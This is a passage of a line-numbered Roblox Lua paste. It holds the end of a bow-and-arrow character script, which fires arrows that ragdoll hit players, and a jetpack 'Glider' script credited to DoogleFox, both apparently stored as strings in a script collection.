  682. local m = Instance.new("BlockMesh",t1)
  683. m.Scale = Vector3.new(1,1,1)
  684. local tw1 = weld(han,t1,CFrame.new(0,.975,0) * CFrame.Angles(math.rad(10),0,0),CFrame.new(0,-.5,0))
  685. local t2 = clone(part)
  686. t2.Size = Vector3.new(.2,1,.25)
  687. local m = Instance.new("BlockMesh",t2)
  688. m.Scale = Vector3.new(.9,1,1)
  689. local tw2 = weld(t1,t2,CFrame.new(0,.5,-.15) * CFrame.Angles(math.rad(25),0,0),CFrame.new(0,-.5,-.125))
  690. local t3 = clone(part)
  691. t3.Size = Vector3.new(.2,1,.2)
  692. local m = Instance.new("BlockMesh",t3)
  693. m.Scale = Vector3.new(.75,1,1)
  694. local tw3 = weld(t2,t3,CFrame.new(0,.5,-.125) * CFrame.Angles(math.rad(25),0,0),CFrame.new(0,-.5,-.1))
  695. local tt = clone(part)
  696. tt.BrickColor = BrickColor.new("Black")
  697. tt.Size = Vector3.new(.2,.3,.2)
  698. local m = Instance.new("BlockMesh",tt)
  699. m.Scale = Vector3.new(.5,1,1) * .5
  700. local ttw = weld(t3,tt,CFrame.new(0,.5,.1) * CFrame.Angles(math.rad(25),0,0),CFrame.new(0,0,.05))
  701. local W = {bw1,bw2,bw3,tw1,tw2,tw3}
  702. local W0 = {bw1.C0,bw2.C0,bw3.C0,tw1.C0,tw2.C0,tw3.C0}
  703. local l1 = clone(part)
  704. l1.BrickColor = BrickColor.new("Light reddish violet")
  705. l1.Size = Vector3.new(.2,.2,.2)
  706. local m = Instance.new("CylinderMesh",l1)
  707. local l1w = weld(bt,l1)
  708. local l2 = clone(l1)
  709. local l2w = weld(tt,l2)
  710. local amodel = Instance.new("Model")
  711. local arrow = clone(part)
  712. arrow.Parent = amodel
  713. arrow.BrickColor = BrickColor.new("Brown")
  714. arrow.Size = Vector3.new(.2,3,.2)
  715. arrow.Name = "main"
  716. local m = Instance.new("CylinderMesh",arrow)
  717. m.Scale = Vector3.new(.5,1,.5)
  718. local arrw = weld(han,arrow)
  719. local tip = clone(part)
  720. tip.Parent = amodel
  721. tip.BrickColor = BrickColor.new("Cool yellow")
  722. tip.Size = Vector3.new(.2,.4,.2)
  723. tip.Name = "tip"
  724. local m = Instance.new("SpecialMesh",tip)
  725. m.MeshId = "rbxassetid://1033714"
  726. m.Scale = Vector3.new(.1,.45,.1)
  727. weld(arrow,tip,CFrame.new(0,1.6,0))
  728. local walkspeed = 16
  729. local hpos_i = CFrame.new(0,.8,1.3)
  730. local hpos_l = CFrame.new(0,.8,1.55)
  731. local hpos = hpos_i
  732. local keeper = Vector3.new(0.07,0.82,0)
  733. mouse.Button1Up:connect(function()
  734. mup = true
  735. end)
  736. function ragJoint(hit,r,d)
  737. Spawn(oc(function()
  738. d = d or 0
  739. local rpar,r0,r1 = r.Parent,r.Part0,r.Part1
  740. if d > 0 then wait(d) end
  741. local p = hit:Clone()
  742. p:BreakJoints()
  743. p:ClearAllChildren()
  744. p.FormFactor = "Custom"
  745. p.Size = p.Size/2
  746. p.Transparency = 1
  747. p.CanCollide = true
  748. p.Name = "Colliduh"
  749. p.Parent = hit
  750. local w = Instance.new("Weld",p)
  751. w.Part0 = hit
  752. w.Part1 = p
  753. w.C0 = CFrame.new(0,-p.Size.Y/2,0)
  754. local rot = Instance.new("Rotate",rpar)
  755. rot.Name = r.Name
  756. rot.Part0 = r0
  757. rot.Part1 = r1
  758. rot.C0 = r.C0
  759. rot.C1 = r.C1
  760. r0.Velocity = Vector3.new()
  761. r1.Velocity = Vector3.new()
  762. r:Destroy()
  763. end))
  764. end
  765. function ShootArrow(a,to,spd)
  766. Spawn(oc(function()
  767. local from = a.main.CFrame
  768. a:Destroy()
  769. local a = amodel:Clone()
  770. for i,v in pairs(a:GetChildren()) do
  771. if v:IsA("BasePart") then
  772. v.Anchored = true
  773. end
  774. end
  775. a:MakeJoints()
  776. a.Parent = workspace
  777. local m = a.main
  778. --local from = m.CFrame
  779. local t = {}
  780. local function move(cf)
  781. for i,v in pairs(a:GetChildren()) do
  782. if v ~= m and v:IsA("BasePart") then
  783. t[v] = t[v] or m.CFrame:toObjectSpace(v.CFrame)
  784. v.CFrame = cf * t[v]
  785. end
  786. end
  787. m.CFrame = cf
  788. end
  789. move(from)
  790. local velocity = (to.p-from.p).unit * spd * 500
  791. local con
  792. local t = tick()
  793. con = game:GetService("RunService").Stepped:connect(function()
  794. if tick()-t > 25 then
  795. con:disconnect()
  796. a:Destroy()
  797. return
  798. end
  799. velocity = velocity - Vector3.new(0,196.2/30,0)
  800. local newcf = clerp(m.CFrame,CFrame.new(m.Position,m.Position+velocity) * CFrame.Angles(-math.pi/2,0,0),.5) + velocity / 30
  801. local hit,ray
  802. local rayo = Ray.new(m.Position,newcf.p-m.Position)
  803. local ign = {a,char}
  804. repeat
  805. hit,ray = workspace:FindPartOnRayWithIgnoreList(rayo,ign)
  806. if not hit then break end
  807. if hit.CanCollide or game:GetService("Players"):GetPlayerFromCharacter(hit.Parent) then
  808. break
  809. else
  810. table.insert(ign,hit)
  811. hit = nil
  812. end
  813. until false
  814. if hit then
  815. move(newcf-newcf.p+ray)
  816. con:disconnect()
  817. game:GetService("Debris"):AddItem(a,300)
  818. local char = hit.Parent
  819. if not hit.Anchored then
  820. local b = hit.CFrame:toObjectSpace(m.CFrame)
  821. for i,v in pairs(a:GetChildren()) do
  822. pcall(function() v.Anchored = false v.CanCollide = true end)
  823. end
  824. weld(hit,m,b)
  825. end
  826. if game:service'Players':GetPlayerFromCharacter(char) and char:FindFirstChild("Torso") then
  827. if hit.Name:match("Arm") then
  828. local r = char.Torso:FindFirstChild(hit.Name:gsub("Arm","Shoulder"):gsub("Leg","Hip"))
  829. if r then
  830. ragJoint(hit,r)
  831. end
  832. elseif hit.Name:match("Head") then
  833. for i,v in pairs(char:GetChildren()) do
  834. local r = char.Torso:FindFirstChild(v.Name:gsub("Arm","Shoulder"):gsub("Leg","Hip"))
  835. if v:IsA("BasePart") and r then
  836. ragJoint(v,r,.1)
  837. elseif v:IsA("Humanoid") then
  838. v.PlatformStand = true
  839. v.Changed:connect(function()
  840. v.PlatformStand = true
  841. end)
  842. end
  843. end
  844. Delay(8,function()
  845. char:BreakJoints()
  846. end)
  847. end
  848. end
  849. return
  850. else
  851. move(newcf)
  852. end
  853. end)
  854. end))
  855. end
  856. mouse.Button1Down:connect(oc(function()
  857. if mb then return end
  858. mb = true
  859. mup = false
  860. rls.Part0,rls.Part1 = nil,nil
  861. ls.Part0,ls.Part1 = tor,la
  862. ls.Parent = tor
  863. ls.C0 = ls.C0 * CFrame.Angles(0,0,rls.CurrentAngle)
  864. rrs.Part0,rrs.Part1 = nil,nil
  865. rs.Part0,rs.Part1 = tor,ra
  866. rs.Parent = tor
  867. rs.C0 = rs.C0 * CFrame.Angles(0,0,rrs.CurrentAngle)
  868. local hc0 = hold.C0
  869. local bg = Instance.new("BodyGyro",tor)
  870. bg.maxTorque = Vector3.new(1,1,1)*9e7
  871. local ltar = 0
  872. local rtar = rrs.C0 * CFrame.Angles(0,0,math.rad(90)) * CFrame.Angles(math.rad(70),0,0) + Vector3.new(-.65,.25,-.25)
  873. local ntar = nk0 * CFrame.Angles(0,0,math.rad(70))
  874. local htar = hc0 * CFrame.Angles(0,math.rad(10),0)
  875. local t = tick()
  876. local iam = 0
  877. local ham = .3
  878. local lend = false
  879. local ended
  880. local arr = amodel:Clone()
  881. arr.Parent = model
  882. arr:MakeJoints()
  883. hum.WalkSpeed = walkspeed/1.5
  884. local aw = weld(ra,arr.main,CFrame.new(0,-1,0)*CFrame.Angles(-math.pi/2,0,0),CFrame.new(0,-1.5,0))
  885. func = function()
  886. local a = (mouse.Hit.p-tor.CFrame:toWorldSpace(ls.C0).p).unit
  887. bg.cframe = CFrame.new(tor.Position,mouse.Hit.p*Vector3.new(1,0,1)+tor.Position*Vector3.new(0,1,0)) * CFrame.Angles(0,math.rad(-75),0)
  888. local b = math.min(.7,math.max(-.7,a.Y))
  889. ls.C0 = clerp(ls.C0,rls.C0 * CFrame.Angles(math.rad(-90),math.rad(90),math.rad(b*-90)) * CFrame.Angles(math.rad(40),math.rad(0),0) + Vector3.new(math.abs(b)*0,-.25,-.6),.3)
  890. local c = tor.CFrame:toObjectSpace(han.CFrame*hpos) * CFrame.new(0,0,0)
  891. local d = Vector3.new(1,.6,0)
  892. rs.C1 = CFrame.new()
  893. rs.C0 = clerp(rs.C0,CFrame.new(d,c.p) * CFrame.new(0,0,-(c.p-d).magnitude+.95) * CFrame.Angles(math.pi/2,math.pi/2,0),.3)
  894. nk.C0 = clerp(nk.C0,ntar * CFrame.Angles(math.rad(math.floor(b*-90)),0,0),.3)
  895. hold.C0 = clerp(hold.C0,htar,.3)
  896. for i,v in pairs(W) do
  897. -- v.C0 = clerp(v.C0,W0[i] * CFrame.Angles((not mup and (i>3 and 1 or -1)*iam or 0)*.1,0,0),.6)
  898. v.C0 = clerp(v.C0,W0[i] * CFrame.Angles((not mup and (i>3 and 1 or -1)*iam or 0)*.1,0,0),.6)
  899. end
  900. if not mup then
  901. hpos = clerp(hpos,hpos_l * CFrame.new(0,0,iam),.2)
  902. if aw then aw.C0 = CFrame.new(Vector3.new(0,-1,0),ra.CFrame:toObjectSpace(han.CFrame*CFrame.new(keeper)).p) * CFrame.Angles(-math.pi/2,0,0) end
  903. if tick()-t > .5 and iam < 1 then
  904. iam = iam + math.max(0.003,.03-(tick()-t-.5)/70)
  905. ham = iam
  906. if aw then
  907. aw:Destroy()
  908. arrw.Parent = han
  909. arrw.Part0 = han
  910. arrw.Part1 = arr.main
  911. aw = nil
  912. end
  913. end
  914. else
  915. hpos = clerp(hpos,hpos_l,ham/math.max(0.01,(hpos.p-hpos_l.p).magnitude))
  916. ham = ham * .7
  917. if not ended then
  918. ended = true
  919. if iam > 0 then
  920. arrw.Part1 = nil
  921. ShootArrow(arr,mouse.Hit,iam)
  922. iam = iam + .2
  923. wait(.5)
  924. lend = true
  925. else
  926. wait(.1)
  927. arr:Destroy()
  928. lend = true
  929. end
  930. end
  931. end
  932. end
  933. repeat wait() until lend or tick()-t > 45
  934. mup = nil
  935. func = nil
  936. hum.WalkSpeed = walkspeed
  937. ls.Part0,ls.Part1 = nil,nil
  938. ls.Parent = nil
  939. rls.Part0,rls.Part1 = tor,la
  940. ls.C0 = rls.C0
  941. rs.Part0,rs.Part1 = nil,nil
  942. rs.Parent = nil
  943. rrs.Part0,rrs.Part1 = tor,ra
  944. rs.C0 = rrs.C0
  945. nk.C0 = nk0
  946. bg:Destroy()
  947. hold.C0 = hc0
  948. hpos = hpos_i
  949. mb = false
  950. end))
  951. rcon = game:GetService("RunService").Stepped:connect(oc(function()
  952. if not model:IsDescendantOf(workspace) then rcon:disconnect() error() return end
  953. --local tc = bt.CFrame:toObjectSpace(tt.CFrame)
  954. --local bc = tt.CFrame:toObjectSpace(bt.CFrame)
  955. local bm = bt.CFrame:toObjectSpace(han.CFrame*hpos)
  956. local tm = tt.CFrame:toObjectSpace(han.CFrame*hpos)
  957. l1w.C0 = CFrame.new(bm.p/2,bm.p) * CFrame.Angles(math.pi/2,0,0)
  958. l1.Mesh.Scale = Vector3.new(.2,bm.p.magnitude*5,.2)
  959. l2w.C0 = CFrame.new(tm.p/2,tm.p) * CFrame.Angles(math.pi/2,0,0)
  960. l2.Mesh.Scale = Vector3.new(.2,tm.p.magnitude*5,.2)
  961. arrw.C0 = CFrame.new(hpos.p,keeper)*CFrame.new(0,0,-arrow.Size.Y/2) * CFrame.Angles(-math.pi/2,0,0)
  962. if func then
  963. func()
  964. end
  965. end))
  966.  
  967. ]==]
  968.  
  969. Glider = [==[
  970. --- Made by DoogleFox, Full credit given
  971. local player = game:service("Players").LocalPlayer
  972. local char = player.Character
  973. local cam = workspace.CurrentCamera
  974. local Torsoz = char:findFirstChild("Torso")
  975. local RA = char:findFirstChild("Right Arm")
  976. local LA = char:findFirstChild("Left Arm")
  977. local RL = char:findFirstChild("Right Leg")
  978. local LL = char:findFirstChild("Left Leg")
  979. local H = char:findFirstChild("Head")
  980. local RS = Torsoz:findFirstChild("Right Shoulder")
  981. local LS = Torsoz:findFirstChild("Left Shoulder")
  982. local RH = Torsoz:findFirstChild("Right Hip")
  983. local LH = Torsoz:findFirstChild("Left Hip")
  984. local N = Torsoz:findFirstChild("Neck")
  985. local hu = char:findFirstChild("Humanoid")
  986. local mouse = player:GetMouse()
  987. local Lights = {}
  988. local JetFlames = {}
  989. local LightChangeSpeed = 0.02
  990. local LeftWing
  991. local RightWing
  992. local WingParts = {}
  993. local Flying = false
  994. local JetActive = false
  995. local idle = false
  996. local velo = 0
  997.  
  998. local bp = Instance.new("BodyPosition")
  999. bp.maxForce = Vector3.new(1/0,1/0,1/0)
  1000. bp.D = 100
  1001. local bg = Instance.new("BodyGyro")
  1002. bg.maxTorque = Vector3.new(1/0,1/0,1/0)
  1003. bg.D = 320
  1004. local bv = Instance.new("BodyVelocity")
  1005. bv.maxForce = Vector3.new(1/0,1/0,1/0)
  1006.  
  1007. local P = Instance.new("Part")
  1008. P.Anchored = false
  1009. P.CanCollide = false
  1010. P.Name = "Part"
  1011. P.formFactor = "Custom"
  1012. P.Size = Vector3.new(0.5,0.5,0.5)
  1013. P.Locked = true
  1014. P.TopSurface = 0
  1015. P.BottomSurface = 0
  1016. P.BrickColor = BrickColor.new("Dark stone grey")
  1017. P.Transparency = 0
  1018.  
  1019. local bp = Instance.new("BodyPosition")
  1020. bp.maxForce = Vector3.new(1/0,1/0,1/0)
  1021. local bv = Instance.new("BodyVelocity")
  1022. bv.maxForce = Vector3.new(1/0,1/0,1/0)
  1023. local bg = Instance.new("BodyGyro")
  1024. bg.maxTorque = Vector3.new(1/0,1/0,1/0)
  1025. bg.D = 300
  1026.  
  1027. local wingcolor = "Really black"
  1028. local maxvelo = 60
  1029. local acceleration = 1
  1030.  
  1031. ---------------------------------- Design ------------------------------------------
  1032. for i, v in pairs(char:children()) do
  1033. if v.className == "Model" and v.Name == "Pack" then
  1034. v:remove()
  1035. end
  1036. end
  1037. local m = Instance.new("Model", char)
  1038. m.Name = "Pack"
  1039.  
  1040. local b = P:Clone()
  1041. b.Parent = m
  1042. local mesh = Instance.new("SpecialMesh", b)
  1043. mesh.MeshType = "Head"
  1044. mesh.Scale = Vector3.new(2.6,1.2,2.6)
  1045. local w = Instance.new("Motor", b)
  1046. w.Part0 = Torsoz
  1047. w.Part1 = b
  1048. w.C0 = CFrame.new(0,0.2,0.35) * CFrame.Angles(math.pi/2,0,0)
  1049. local p = P:Clone()
  1050. p.Parent = m
  1051. local mesh = Instance.new("SpecialMesh", p)
  1052. mesh.MeshType = "Head"
  1053. mesh.Scale = Vector3.new(2,1.2,2)
  1054. local w = Instance.new("Motor", p)
  1055. w.Part0 = Torsoz
  1056. w.Part1 = p
  1057. w.C0 = CFrame.new(0,0.2,0.45) * CFrame.Angles(math.pi/2,0,0)
  1058.  
  1059. local p = P:Clone()
  1060. p.Parent = m
  1061. local mesh = Instance.new("SpecialMesh", p)
  1062. mesh.MeshType = "Head"
  1063. mesh.Scale = Vector3.new(2.02,1.2,2.02)
  1064. local w = Instance.new("Motor", p)
  1065. w.Part0 = Torsoz
  1066. w.Part1 = p
  1067. w.C0 = CFrame.new(0,0.2,0.445) * CFrame.Angles(math.pi/2,0,0)
  1068. table.insert(Lights, p)
  1069.  
  1070. for i = 1, 3 do
  1071. local p = P:Clone()
  1072. p.Parent = m
  1073. local mesh = Instance.new("CylinderMesh", p)
  1074. if i == 2 then
  1075. mesh.Scale = Vector3.new(0.4,1.2,0.4)
  1076. else
  1077. mesh.Scale = Vector3.new(0.35,1,0.35)
  1078. end
  1079. local w = Instance.new("Motor", p)
  1080. w.Part0 = Torsoz
  1081. w.Part1 = p
  1082. w.C0 = CFrame.new(-0.3+(0.15*i),-0.25,0.55)
  1083. if i == 2 then
  1084. CenterJet = p
  1085. end
  1086. local l = P:Clone()
  1087. l.Parent = m
  1088. local mesh = Instance.new("CylinderMesh", l)
  1089. local w = Instance.new("Motor", l)
  1090. w.Part0 = p
  1091. w.Part1 = l
  1092. if i == 2 then
  1093. mesh.Scale = Vector3.new(0.405,0.12,0.405)
  1094. w.C0 = CFrame.new(0,-0.2,0)
  1095. else
  1096. mesh.Scale = Vector3.new(0.355,0.12,0.355)
  1097. w.C0 = CFrame.new(0,-0.15,0)
  1098. end
  1099. table.insert(Lights, l)
  1100. end
  1101.  
  1102. for i = 1, 3 do
  1103. local l = P:Clone()
  1104. l.Parent = m
  1105. local mesh = Instance.new("CylinderMesh", l)
  1106. mesh.Scale = Vector3.new(0.12,0.1,0.12)
  1107. local w = Instance.new("Motor", l)
  1108. w.Part0 = Torsoz
  1109. w.Part1 = l
  1110. w.C0 = CFrame.new(0.3-(0.15*i),0.3,0.73) * CFrame.Angles(math.pi/2,0,0)
  1111. table.insert(Lights, l)
  1112. end
  1113.  
  1114. ------- wings ------
  1115. for i = 0, 1 do
  1116. local p = P:Clone()
  1117. p.Parent = m
  1118. local mesh = Instance.new("SpecialMesh", p)
  1119. mesh.MeshType = "Sphere"
  1120. mesh.Scale = Vector3.new(1,1,1)
  1121. local w = Instance.new("Motor", p)
  1122. w.Part0 = Torsoz
  1123. w.Part1 = p
  1124. w.C0 = CFrame.new(0,0.55,0.55) * CFrame.Angles(0,math.pi*i,0)
  1125. w.C1 = CFrame.new(0.425,0,0)
  1126.  
  1127. local c = P:Clone()
  1128. c.Parent = m
  1129. c.BrickColor = BrickColor.new(wingcolor)
  1130. c.Name = "WingSpine"..i+1
  1131. local mesh = Instance.new("BlockMesh", c)
  1132. mesh.Scale = Vector3.new(0.26,6,0.2)
  1133. local w = Instance.new("Motor", c)
  1134. w.Part0 = p
  1135. w.Part1 = c
  1136. w.C0 = CFrame.Angles(0,0,-math.pi/7)
  1137. w.C1 = CFrame.new(0,1.5,0)
  1138. w.MaxVelocity = 0.15
  1139. if i == 0 then
  1140. LeftWing = w
  1141. else
  1142. RightWing = w
  1143. end
  1144. table.insert(WingParts, c)
  1145. local p = P:Clone()
  1146. p.Parent = m
  1147. p.BrickColor = BrickColor.new(wingcolor)
  1148. local mesh = Instance.new("SpecialMesh", p)
  1149. mesh.MeshType = "Wedge"
  1150. mesh.Scale = Vector3.new(0.2,4,2.2)
  1151. local w = Instance.new("Motor", p)
  1152. w.Part0 = c
  1153. w.Part1 = p
  1154. w.C0 = CFrame.new(0.485,-0.85,0) * CFrame.Angles(math.pi,-math.pi/2,0)
  1155. table.insert(WingParts, p)
  1156. local p = P:Clone()
  1157. p.Parent = m
  1158. p.BrickColor = BrickColor.new(wingcolor)
  1159. local mesh = Instance.new("BlockMesh", p)
  1160. mesh.Scale = Vector3.new(2,0.5,0.2)
  1161. local w = Instance.new("Motor", p)
  1162. w.Part0 = c
  1163. w.Part1 = p
  1164. w.C0 = CFrame.new(0.535,0.275,0)
  1165. table.insert(WingParts, p)
  1166. local p = P:Clone()
  1167. p.Parent = m
  1168. p.BrickColor = BrickColor.new(wingcolor)
  1169. local mesh = Instance.new("SpecialMesh", p)
  1170. mesh.MeshType = "Wedge"
  1171. mesh.Scale = Vector3.new(0.2,1.5,1)
  1172. local w = Instance.new("Motor", p)
  1173. w.Part0 = c
  1174. w.Part1 = p
  1175. w.C0 = CFrame.new(0.785,0.77,0) * CFrame.Angles(0,-math.pi/2,0)
  1176. table.insert(WingParts, p)
  1177. local p = P:Clone()
  1178. p.Parent = m
  1179. p.BrickColor = BrickColor.new(wingcolor)
  1180. local mesh = Instance.new("BlockMesh", p)
  1181. mesh.Scale = Vector3.new(0.94,1.5,0.2)
  1182. local w = Instance.new("Motor", p)
  1183. w.Part0 = c
  1184. w.Part1 = p
  1185. w.C0 = CFrame.new(0.3,0.77,0)
  1186. table.insert(WingParts, p)
  1187. local p = P:Clone()
  1188. p.Parent = m
  1189. p.BrickColor = BrickColor.new(wingcolor)
  1190. local mesh = Instance.new("SpecialMesh", p)
  1191. mesh.MeshType = "Wedge"
  1192. mesh.Scale = Vector3.new(0.2,1,0.977)
  1193. local w = Instance.new("Motor", p)
  1194. w.Part0 = c
  1195. w.Part1 = p
  1196. w.C0 = CFrame.new(0.3,1.385,0) * CFrame.Angles(0,-math.pi/2,0)
  1197. table.insert(WingParts, p)
  1198.  
  1199. end
  1200.  
  1201. local spacedet = 0
  1202. local KEYS = {false, false, false, false}
  1203. mouse.KeyDown:connect(function(key)
  1204. if key == string.char(32) then
  1205. if (tick() - spacedet) < 0.3 then
  1206. Flying = not Flying
  1207. end
  1208. spacedet = tick()
  1209. end
  1210. if key == "w" then
  1211. KEYS[1] = true
  1212. end
  1213. if key == "a" then
  1214. KEYS[2] = true
  1215. end
  1216. if key == "s" then
  1217. KEYS[3] = true
  1218. end
  1219. if key == "d" then
  1220. KEYS[4] = true
  1221. end
  1222. end)
  1223.  
  1224. mouse.KeyUp:connect(function(key)
  1225. if key == "w" then
  1226. KEYS[1] = false
  1227. end
  1228. if key == "a" then
  1229. KEYS[2] = false
  1230. end
  1231. if key == "s" then
  1232. KEYS[3] = false
  1233. end
  1234. if key == "d" then
  1235. KEYS[4] = false
  1236. end
  1237. end)
  1238.  
  1239. local LTrailParts = {}
  1240. for i = 1, 21 do
  1241. local p = P:Clone()
  1242. p.Name = "TrailLine"
  1243. p.Anchored = true
  1244. p.BrickColor = BrickColor.new(wingcolor)
  1245. local mesh = Instance.new("CylinderMesh", p)
  1246. mesh.Name = "Mesh"
  1247. table.insert(LTrailParts, p)
  1248. end
  1249. local RTrailParts = {}
  1250. for i = 1, 21 do
  1251. local p = P:Clone()
  1252. p.Name = "TrailLine"
  1253. p.Anchored = true
  1254. p.BrickColor = BrickColor.new(wingcolor)
  1255. local mesh = Instance.new("CylinderMesh", p)
  1256. mesh.Name = "Mesh"
  1257. table.insert(RTrailParts, p)
  1258. end
  1259. local Loldpos
  1260. local Roldpos
  1261.  
  1262. local lightval = {0.1, true}
  1263. local refval = 0.1
  1264. local firecolors = {"Bright red", "Bright orange"}
  1265. local firespeed = 2
  1266. local trailnum = 0
  1267. local num = 0
  1268. local lastflyaction = false
  1269. local lastidleaction = false
  1270. local idlebp = {0, 0, Torsoz.Position, true}
  1271.  
  1272. while true do
  1273. num = num + 1
  1274. trailnum = trailnum + 1
  1275.  
  1276. local unitz = (Torsoz.Position - cam.CoordinateFrame.p).unit
  1277. local camsight = Torsoz.Position + (unitz*90)
  1278. local diff = camsight.y - Torsoz.Position.y
  1279.  
  1280. ---------------------- Velocity Changes ----------------------------
  1281.  
  1282. ----------- W key --------------
  1283. if KEYS[1] == true then
  1284. velo = velo + acceleration
  1285. else
  1286. if velo > 0 then
  1287. local UP = velo - (acceleration/1.5)
  1288. if velo > 0 and UP < 0 then
  1289. velo = velo + UP
  1290. end
  1291. velo = velo - (acceleration/1.5)
  1292. end
  1293. end
  1294. ------------ S key -------------
  1295. if KEYS[3] == true then
  1296. if velo > 0 then
  1297. velo = velo - acceleration*1.2
  1298. else
  1299. velo = velo - (acceleration/1.5)
  1300. end
  1301. else
  1302. if velo < 0 then
  1303. local DOWN = velo + acceleration
  1304. if velo < 0 and DOWN > 0 then
  1305. velo = velo - DOWN
  1306. end
  1307. velo = velo + acceleration
  1308. end
  1309. end
  1310.  
  1311. local maxvelocalc = maxvelo
  1312. if diff < -35 then
  1313. if velo > 0 then
  1314. maxvelocalc = maxvelo + (maxvelo * -(((diff+35)/110)))
  1315. end
  1316. elseif diff > 35 then
  1317. if velo < 0 then
  1318. maxvelocalc = maxvelo + (maxvelo * -((((-diff)+35)/110)))
  1319. end
  1320. end
  1321.  
  1322. if velo >= maxvelocalc then
  1323. velo = maxvelocalc
  1324. elseif velo <= -maxvelocalc/2 then
  1325. velo = -maxvelocalc/2
  1326. end
  1327.  
  1328. ------------------------- Lights ----------------------
  1329. if lightval[1] < 0.15 then
  1330. lightval[2] = true
  1331. elseif lightval[1] > 0.76 then
  1332. lightval[2] = false
  1333. end
  1334. if lightval[2] == true then
  1335. lightval[1] = lightval[1] + LightChangeSpeed
  1336. else
  1337. lightval[1] = lightval[1] - LightChangeSpeed
  1338. end
  1339. for i, v in pairs(Lights) do
  1340. v.Transparency = lightval[1]
  1341. if LightChangeSpeed > 0.15 then
  1342. v.BrickColor = BrickColor.new("Bright red")
  1343. elseif LightChangeSpeed > 0.08 then
  1344. v.BrickColor = BrickColor.new("Bright orange")
  1345. else
  1346. v.BrickColor = BrickColor.new("Bright green")
  1347. end
  1348. end
  1349. --------------------------------------------------------
  1350.  
  1351. --------------------- Wing Shines -------------------------
  1352. for i, v in pairs(WingParts) do
  1353. if Flying == true then
  1354. if v.Reflectance > 0.19 then
  1355. v.Reflectance = v.Reflectance - 0.035
  1356. else
  1357. v.Reflectance = 0.19
  1358. end
  1359. else
  1360. if v.Reflectance < 0.43 then
  1361. v.Reflectance = v.Reflectance + 0.035
  1362. else
  1363. v.Reflectance = 0.43
  1364. end
  1365. end
  1366. end
  1367. ----------------------------------------------------
  1368.  
  1369. ------------------------ Jet Boost Flames --------------------------------
  1370. if num%firespeed == 0 and JetActive == true then
  1371. local f = P:Clone()
  1372. f.Parent = m
  1373. f.Name = "JetFire"
  1374. f.BrickColor = BrickColor.new(firecolors[math.random(1, #firecolors)])
  1375. f.Transparency = 0.15
  1376. f.Anchored = true
  1377. f.CFrame = CenterJet.CFrame * CFrame.new(0,-0.3,0)
  1378. local mesh = Instance.new("BlockMesh", f)
  1379. mesh.Scale = Vector3.new(0.6,0.6,0.6)
  1380. table.insert(JetFlames, {mesh, (f.Position - CenterJet.Position).unit})
  1381. end
  1382.  
  1383. for i, v in pairs(JetFlames) do
  1384. if v[1].Parent.Transparency < 0.9 then
  1385. v[1].Parent.Transparency = v[1].Parent.Transparency + 0.03
  1386. v[1].Scale = v[1].Scale + Vector3.new(0.08,0.08,0.08)
  1387. v[1].Parent.CFrame = v[1].Parent.CFrame * CFrame.Angles(math.random(-180,180)/360,math.random(-180,180)/360,math.random(-180,180)/360)
  1388. if idle == false then
  1389. v[1].Parent.CFrame = v[1].Parent.CFrame + (v[2]*0.1)
  1390. else
  1391. v[1].Parent.CFrame = v[1].Parent.CFrame + (v[2]*0.24)
  1392. end
  1393. else
  1394. v[1].Parent:remove()
  1395. table.remove(JetFlames, i)
  1396. end
  1397. end
  1398. --------------------------------------------------
  1399.  
  1400. ------------------------------ Flying --------------------------------
  1401.  
  1402. if Flying == true then
  1403.  
  1404. if lastflyaction == false then
  1405. bg = Instance.new("BodyGyro", Torsoz)
  1406. bg.maxTorque = Vector3.new(1/0,1/0,1/0)
  1407. bg.D = 350
  1408. end
  1409.  
  1410.  
  1411. --------- idle checker --------
  1412. if (velo > -0.5 and velo < 0.5) and (KEYS[1] == false and KEYS[3] == false) then
  1413. idle = true
  1414. if lastidleaction == false then
  1415. idlebp[3] = Torsoz.Position
  1416. end
  1417. else
  1418. idle = false
  1419. end
  1420.  
  1421. --------- idle float anim -----------
  1422. if idle == true then
  1423. if lastidleaction == false then
  1424. idlebp = {0, 0, Torsoz.Position, true}
  1425. end
  1426. if idlebp[2] >= 0.3 then
  1427. idlebp[4] = false
  1428. elseif idlebp[2] <= -0.3 then
  1429. idlebp[4] = true
  1430. end
  1431. if idlebp[4] == false then
  1432. idlebp[2] = idlebp[2] - 0.02
  1433. elseif idlebp[4] == true then
  1434. idlebp[2] = idlebp[2] + 0.02
  1435. end
  1436. idlebp[1] = idlebp[1] + idlebp[2]
  1437. end
  1438.  
  1439. ---------------- Body Objects ----------------------
  1440.  
  1441. if idle == true then
  1442. if lastidleaction == false then
  1443. bv:remove()
  1444. bp:remove()
  1445. bp = Instance.new("BodyPosition")
  1446. end
  1447. hu.PlatformStand = true
  1448. bp.Parent = Torsoz
  1449. bp.maxForce = Vector3.new(1/0,1/0,1/0)
  1450. bp.D = 100
  1451. bp.position = idlebp[3] + Vector3.new(0,idlebp[1],0)
  1452. bg.cframe = CFrame.new(Torsoz.Position, Torsoz.Position + cam.CoordinateFrame.lookVector)
  1453. else
  1454. if lastidleaction == true then
  1455. bp:remove()
  1456. bv:remove()
  1457. bv = Instance.new("BodyVelocity")
  1458. end
  1459. hu.PlatformStand = true
  1460. bv.Parent = Torsoz
  1461. bv.maxForce = Vector3.new(1/0,1/0,1/0)
  1462. local torpos = Torsoz.Position + (cam.CoordinateFrame.lookVector * 10)
  1463. bv.velocity = CFrame.new(Torsoz.Position+Vector3.new(0,-2,0), torpos).lookVector*velo
  1464. local cvelo = velo
  1465. if velo > maxvelo then
  1466. cvelo = maxvelo
  1467. end
  1468. bg.cframe = CFrame.new(Torsoz.Position, Torsoz.Position + cam.CoordinateFrame.lookVector) * CFrame.Angles((-math.pi/2.3)*(cvelo/maxvelo),0,0)
  1469.  
  1470. end
  1471.  
  1472. elseif Flying == false then
  1473. if lastflyaction == true then
  1474. hu.PlatformStand = false
  1475. bp.Parent = nil
  1476. bg.Parent = nil
  1477. bv.Parent = nil
  1478. idle = false
  1479. end
  1480.  
  1481. end --- if flying == true
  1482.  
  1483. -----------------------------------------
  1484.  
  1485. ----------------------- Auto Anims -----------------------
  1486. if Flying == true then
  1487. if diff > 40 then
  1488. LeftWing.DesiredAngle = -0.3
  1489. RightWing.DesiredAngle = -0.3
  1490. LightChangeSpeed = 0.24
  1491. JetActive = true
  1492. ActiveTrails = true
  1493. firespeed = 1
  1494. elseif diff > -22 and diff < 40 then
  1495. LeftWing.DesiredAngle = -math.pi/2.5
  1496. RightWing.DesiredAngle = -math.pi/2.5
  1497. LightChangeSpeed = 0.09
  1498. JetActive = true
  1499. ActiveTrails = true
  1500. firespeed = 2
  1501. elseif diff > -60 and diff < -22 then
